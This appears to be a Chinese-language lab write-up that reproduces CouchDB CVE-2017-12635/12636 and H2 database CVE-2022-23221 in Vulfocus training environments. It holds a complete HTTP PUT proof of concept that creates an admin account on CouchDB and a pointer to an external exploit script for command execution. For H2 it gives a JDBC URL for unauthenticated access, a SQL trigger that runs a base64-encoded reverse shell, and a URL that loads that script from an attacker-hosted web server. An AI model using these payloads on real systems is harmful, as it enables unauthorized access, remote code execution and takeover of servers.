Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)
Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)
环境概述
采用Vulfocus靶场环境进行复现,搭建操作和文章参考具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败。
Couchdb CVE-2017-12635权限绕过
漏洞概述
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。
默认端口
5984端口
影响范围
小于 1.7.0 以及 小于 2.1.1
漏洞复现
将Vulfocus靶场环境启动后,根据映射端口号进行访问
访问成功后显示出版本号
访问登录界面抓包进行测试
访问地址
/_utils/#login
抓包将请求方法修改为PUT方法,在请求数据包后面添加json数据
POC
PUT /_users/org.couchdb.user:hack HTTP/1.1
Host: IP地址加端口
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "hack",
"roles": ["_admin"],
"roles": [],
"password": "hack"
}
对应位置修改想要创建的用户及密码即可
使用创建的用户名和密码尝试登录,成功登录即漏洞利用成功
Couchdb CVE-2017-12636 命令执行
默认端口
5984端口
影响范围
小于 1.7.0 以及 小于 2.1.1
漏洞利用
这个漏洞利用需要建立在具有用户权限之上,可以利用CVE-2017-12635漏洞添加数据库用户后进行命令执行
环境启动后直接下载EXP,修改EXP的目标地址的端口号以及目标数据库版本即可
下载地址参考 CVE-2017-12636/exp.py
将EXP中所执行的命令目标以及数据库版本修改即可
H2database CVE-2022-23221 命令执行
漏洞概述
Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
影响范围
Spring Boot + H2
spring.h2.console.enabled=true
JDK < 6u201、7u191、8u182、11.0.1(LDAP)
默认端口
20051端口
漏洞利用
环境启动后访问得到如下界面
- 未授权进入:
- 将如下命令放入JDBC URL即可直接进入数据库
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
- 命令执行
- 首先创建sql文件,将sql文件放入服务器中,这里我使用python启用web服务,将sql文件放入家目录中
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
- 启用web服务
python3 -m http.server 端口
- 使目标数据库加载远程sql文件
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。